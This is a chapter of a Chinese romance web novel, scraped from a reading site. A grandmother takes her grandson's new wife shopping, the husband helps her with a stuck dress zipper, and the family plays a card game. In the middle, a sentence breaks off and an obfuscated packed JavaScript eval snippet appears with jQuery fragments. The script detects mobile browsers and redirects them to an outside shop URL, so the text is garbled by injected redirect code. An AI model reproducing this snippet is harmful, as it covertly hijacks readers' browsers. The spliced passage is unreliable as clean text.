默认冷灰
24号文字
方正启体

8. 气息

作者:一枚柚本书字数:K更新时间:
    挂完电话后。


    杜菡会说:“看得出来没叫得惯。”


    孟沅听出打趣的意味:“奶奶。”


    何止是没叫惯,她生平第一次开口叫老公,结果还叫错了人。


    “还不好意思了。”杜菡会笑了笑,“好孩子,以后叫得多,就习惯了。”


    叫得多了……孟沅不是很能想象,每天都叫岑见桉老公的那个场面。


    也不能想象男人脸上的表情。


    万一会露出集团大老板,那种矜贵冷淡的神情。


    每当那时,就会觉得她是个在面临重要面试的员工。


    杜菡会伸手,拍了拍她的手背:“沅沅,我们先去逛,不等他这个大忙人。”


    她这次急着回国,还是见孙媳最要紧。


    孟沅上了杜菡会的车,有司机。


    路上,杜奶奶挽着她坐在车后座,问了近况,又拉她着唠了会家常。


    杜奶奶很亲切,对她是长辈的关心和爱护,孟沅跟岑见桉这段婚事,她心里没什么抵触的最大原因,大概是,她还挺喜欢跟岑家人相处。


    到了地方,孟沅才知道杜奶奶,这是来带她挑衣服和鞋子。


    孟沅说:“奶奶,我那些衣服够穿。”


    杜菡会却坚持说:“小姑娘的衣服,怎么能够穿,我都听伍姨说了,你那些都是职业装,上班穿的,我们挑些私底下穿的。”


    孟沅知道自己大部分的衣服,都偏职业和轻熟风,在一些正式场合下,意味着礼貌和重视。


    杜奶奶的好意,她不好推脱,嗯了声。


    这一层都静悄悄的,只有个私人导购,是把整层都包下来了,孟沅知道她这种的工作职责,都有签署过保密协议。


    挑了会,孟沅挑了几件浅色系的,杜菡会由得她去挑,也不干涉。


    等挑完了,杜菡会才开始帮她挑。


    孟沅站在旁边,看到杜奶奶基本挑的都是暖色系,还有几件粉色,是她衣柜里基本没有的颜色。


    其中有几件需要去调款式,私人导购让她们暂等。


    私下两人之时,杜菡会握着她的手,耐心问:“沅沅,你跟我说,真没有受委屈?”


    孟沅说:“真没有。”


    杜菡会问:“推了跟你的约,是不是?”


    孟沅知道杜菡会是知道这件事的,当时她在餐桌边吃早饭,正好伍姨接起了杜奶奶电话,问起近况,报了这个喜讯。


    杜菡会说:“你不用替他掩瞒,后来是我打电话问起,才知道他在国外出差。”


    孟沅知道杜奶奶是关心她:“奶奶,如果在那天,是我临时有工作上的安排,也会工作为重推掉约。”


    这话说完,杜菡会目光落在她的身后。


    孟沅似有所感,转头看去,看到站在斜后侧的男人。


    岑见桉看着她,垂落的乌黑发丝,掩了点清淡的脸颊,她刚刚说起那些话,神色认真又诚恳。


    她在长辈面前从未说过一句怨。


    杜菡会说:“大忙人,总算肯来了?”


    岑见桉站在旁边:“奶奶,回国了,怎么不跟家里说声?”


    杜菡会说:“我是特意来看沅沅。”


    岑见桉说:“您注意身体。”


    “我身体好得很。”杜菡会说,“倒是你,要多关心你媳妇。”


    孟沅坐在旁边,被杜奶奶握住手。


    杜菡会说:“你看你媳妇,多为你着想,都不愿意讲你一句不好的话。”


    孟沅脸热了热:“奶奶。”


    杜菡会手拍了拍她手掌:“好,沅沅不愿意说这些,就不说这些,反正你们小夫妻,还是得是自己相处。”


    又对岑见桉说:“反正我这个老人家年纪大了,说的话,也不知道有没有人愿意听了。”


    “沅沅,你说,是不是?”


    岑见桉听奶奶这样说,就差指名道姓点他,家里这位老太太,越来越像个孩子,家里人都愿意顺着她。


    “您什么安排?”


    孟沅听杜奶奶明晃晃无赖又孩子气的口吻,很像撒娇,男人也只是这副纵容又无奈的语气。


    杜菡会说:“我这个老人家,也不是不好说话,先过来,给你媳妇挑两件衣服。”


    岑见桉应了声。


    刚好私人导购回来,调来了那几件的款式,杜菡会说:“来看看,挑件给你媳妇试。”


    孟沅看到那几件粉色的礼裙,岑见桉也自然看到了。


    杜菡会在旁边使眼色,岑见桉了然,看了那几条礼裙,她皮肤白,淡粉色衬她。


    孟沅看到男人选了件人鱼摆的礼裙,浅粉色,还以为他那副冷情性子,会选其他冷色系的。


    杜菡会看岑见桉眼光好,一挑,就挑中了最合适孟沅的那条。


    “去试试?”


    孟沅起身,嗯了声,在私人导购员礼貌又职业的笑容里起身。


    就在换衣间里,孟沅不太习惯有人陪着换衣服,试好了,想脱下来的时候,背后的拉链突然卡住,缠住了背后的头发丝,没忍住吃痛,轻嘶了声。


    只能求助:“麻烦能进来下吗?”


    她知道私人导购员,就在外面等她。


    没过会,脚步声在身后响起。


    孟沅嗅到鼻尖的那抹清冽,察觉到进来的不是导购员,下意识转头。


    “别动。”


    身后男人嗓音低沉醇厚,她这样一动,纤薄侧腰被男人掌住,几秒后,只是虚托,很绅士。


    孟沅顿住,感觉刚被掌心握住的侧腰,就像是被烫过,维持着扭身的姿势,看清进来帮她的是岑见桉。


    男人微垂着眸,看她,浓长的眼睫,像根根分明的鸦羽,看着比他这个人软化。


    孟沅问:“奶奶要你进来的?”


    岑见桉说:“是。”


    离得近了,她人是那种清冷温淡的漂亮,很耐看和养眼的气质,声音也像主人,泠泠的月光。


    他问:“介意?”


    孟沅转回身:“没有,不介意。”


    她很清楚,如果她说句介意,岑见桉会尊重她的意见,二话不说出去,换私人导购员再进来。


    岑见桉说:“别紧张,会扯到头发。”


    孟沅在男人这话里,声质偏冷,却听出几分安抚意味,下意识说:“没紧张。”


    岑见桉淡瞥过,女人腰身不自觉紧绷了点的弧度,像张刚拉开的月弓。


    到底是个小姑娘,脸色看着再镇定,也藏不住心思。


    视线往下,乌黑微卷的头发丝,被修长手指抚托起,撩开。


    这条浅粉色的礼裙,一直开到了腰部的拉链,卡在一半,跟乌黑头发丝胡乱缠到一起,半个背都露在男人的视线下。


    孟沅注意到男人落在后背的目光,不动声色,却又很分明。


    岑见桉说:“别怕,我不会做什么。”


    孟沅耳尖微红了点:“我知道。”


    可毕竟是没什么跟男人相处的经验,更别说是帮忙拉开,后背快要腰的拉链。


    话归话,反应归反应,孟沅听见胸膛里的心跳声,她没忍住紧张,放慢喉咙不自觉的吞咽。


    尽管她试图当作只是件平常事,把身后这个男人,仅仅当做私人导购员。


    可男人不出声,那股清冽气息,男人的视线,存在感只有增无减。


    刚刚修长指骨托握住她的侧腰,那瞬很有力,又格外有男性力量感。


    换衣间里,孟沅知道自己这张白纸生涩的反应,逃不过男人的眼里。


    这样密闭的空间,会不会听到她过速,又不太正常的心跳声?


    拉链被拉了下来。


    她是纤长、骨感的身材,很白,被这身浅粉色人鱼裙,衬得像块温温凉凉的玉,两瓣的蝴蝶骨,背脊凹陷了条曲线,蒙着层阴影,似明似晦。


    “拉好了。”


    孟沅应声:“嗯。”


    “我先出去。”


    太安静了,更衣间里只剩下男人平静克制的口吻。


    孟沅又嗯了声,身后传来了脚步声,垂眸,看着走开的黑色男士皮鞋。


    孟沅站在原地,男人镇定、克制。


    就越显出她的青涩。


    再发现,她掌心竟然有点细薄的汗。


    到了外头,岑雲柔也来了,小云雀似地陪着杜菡会聊天,转头看到男人神情。


    “是不合适吗?”


    岑见桉压了点眉心。


    “很合适。”只是无端有点的燥。


    杜菡会伸手肘撞了撞岑雲柔,一脸过来人的笑容。


    岑雲柔左看看,又右看看:“奶奶你笑什么啊?”


    杜菡会说:“我们家阿柔还是个小孩子,没长大。”


    岑雲柔:“……?”不就是大嫂试一件衣服而已,怎么就扯到了她没长大?


    过了会,孟沅走出来,看到杜菡会朝她招手,坐到了旁边。


    岑雲柔一把坐到孟沅旁边,亲昵地握住她的手臂,趁机撒娇告状:“大嫂,奶奶和大哥趁着你不在,跟我打哑谜。”


    孟沅挺喜欢她这副活泼单纯的性格:“打什么哑谜了?”


    岑雲柔把刚刚的事情说了,又说:“奶奶说我还是个小孩子,大哥也不说。”


    “大嫂,你肯定知道为什么,会告诉我,对不对?”


    孟沅想起刚刚在更衣间里,脸颊顿时就有点发热。


    岑雲柔问:“大嫂,你怎么不说话?”


    孟沅看清小妹八卦的目光,也察觉旁边杜奶奶隐隐期待的眼神:“没什么,就是裙子拉链卡住了,阿桉帮我了下。”


    岑雲柔说:“哦,我还以为大哥大嫂,偷偷亲嘴了呢。”


    “……?”孟沅差点怀疑耳朵。


    杜菡会在旁边,被小孙女逗得直笑。


    岑见桉手指微按了下鼻根。


    “阿柔,别闹你嫂子。”


    岑雲柔连忙拿手,做了个拉链封嘴巴的动作。


    “大哥护老婆,不敢说话。”


    孟沅坐中间,脸上温度就没降下来。


    抬眼,对上男人视线,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292406|198510||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼眸里流露出几分感激。


    杜菡会看这姑娘实在是不好意思,转移起话题:“明天带沅沅回老宅趟,把阿逍也叫上,一起热闹聚聚。”


    岑见桉和岑雲柔都应了声。


    到最后,衣服和鞋子都挑了很多。


    孟沅能猜到,很多个零都没了,都记在岑见桉的账上。


    转眼到了第二天,是周六,孟沅被司机接到老宅,家里没来很多人。


    吃过午饭,杜菡会说:“阿桉,该陪沅沅去全家一趟。”


    岑见桉说:“我清楚。”


    孟沅在旁边喝温水。


    说的不是知道,而是清楚,岑见桉这样在谈判上浸染和沉淀成熟锋芒的男人,应该不会在口头上,犯显而易见的错误。


    下午,杜菡会拉了个局,孟沅、岑昀霄和岑雲柔陪着。


    岑父和岑母都在国外,还没回来。


    老爷子近来也在外地有事,孟沅来老宅之前,还特意打了电话来,问了她的近况,又叮嘱岑见桉好好照顾媳妇。


    岑见桉被老太太亲自点名,今天只能陪着孟沅一个人。


    孟沅打了圈,一直在输,她本来就牌技不精,今天的气运也很差。


    岑见桉的兴致,却瞧着还不错,在外很冷情、公事公办的人,在亲近的家人们面前,会露出轻松和纵容的那面,而往往这种反差愈迷人。


    越罕见,越惹人想要去窥探。


    又输惨了,孟沅跟男人极小声抱歉地说:“我几乎是逢赌必输,你上次赢的那些筹码,都快被我输干净了。”


    岑见桉似是微沉地笑了声,稍顿,慢条斯理问她:“怕了?”


    这副低沉嗓音,旧酒般的醇厚,很有颗粒感的磁性,有种慵散的性感,他不佻达,在冷情矜贵的表皮下。


    说不准,也摸不准,孟沅只觉得他这话有点坏,又太像是哄个小朋友:“您这是用激将法吗。”


    难得一见赌气的小脾气,用您这种礼貌和柔和的称呼掩饰,岑见桉微淡地说:“你问这话的时候,心里已经有答案了。”


    “……”孟沅微抿了下嘴唇,难得很“大不敬”地想到了个词形容男人:老谋深算。


    岑见桉说:“心里在骂我。”


    孟沅说:“没有。”


    岑见桉说:“这是输急眼了。”


    少见她有这种孩子气的模样,比平常清淡的模样,多了点生动的劲。


    孟沅说:“不比您有身家。”


    岑见桉说:“不比身家。”


    孟沅问:“那比什么?”


    男人没接话,她猜:“技术?”


    没应答。


    “气运?”


    孟沅微抿唇,不比技术,不比气运,也不比身家,那比什么?


    男人手臂搭在她身后椅背上,只是虚搭着修长指骨,嗓音几分低沉。


    “比谁越能坐得住。”


    孟沅顿了小几秒,心想男人确实是把她当成三岁小孩应付无疑。


    “您坐得住,输的是您的钱。


    又嘟哝了声:“真输光,我也没办法。”


    岑见桉口吻淡淡:“都叫老公了,还怕你输这点么。”


    “……?”


    这么点?家大业大还就是不一样,败家的话都说得豪迈、过于有底气。


    孟沅心想,游特助果然把她误叫的那声老公上报了,脸有点热,她一句老公,哪就有这么值钱了。


    “咳咳……”


    岑雲柔不小心呛到水。


    杜菡会说:“她小孩子看了不该看的,嗓子突然有点痒。”


    岑昀霄也说:“就是家里过家家,随便玩玩,绝不会打扰大哥大嫂分神说悄悄话,是不是?”


    孟沅坐在这,一时间觉得谁的目光都难接,谁的话也都难接,这一大家子人,都太爱打趣人。


    可她还是喜欢跟岑家人相处,也喜欢这种融洽轻松的家庭氛围。


    过了会,孟沅还真等到了赢局,还是一局定乾坤的那种赢法,吐出去的,全都翻倍回来了,这是让她完全没能想到的事情。


    坐在身后旁观的男人,八风不动,就在才不久前,还慢条斯理让她在两张牌里,随便挑张打。


    让孟沅忍不住有种感觉,觉得好像没有什么事,就不在他的预料之中。


    一张桌,除了小夫妻,杜菡会和岑雲柔惊讶又苦了脸,岑昀霄倒是眸中几分揶揄。


    岑见桉淡瞥了眼:“想赖账么。”


    这话一出,偏袒得很明了。


    杜菡会小孩子性子上来了,耍赖说:“听着没,你大哥这是护媳妇呢。”


    岑雲柔也假哭说:“地里的小白菜,没人疼没人爱啊。”


    岑昀霄被奶奶和小妹一看,眸底是明晃晃的促狭:“大哥要护着大嫂,哪敢不听。”


    孟沅听得脸热,微侧了点头说:“要不就算了。”


    “主动交。”岑见桉却慢条斯理说,“仗着我太太心太软,就欺负人,家里没有这种规矩。”


    “别赖人小姑娘的小金库。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)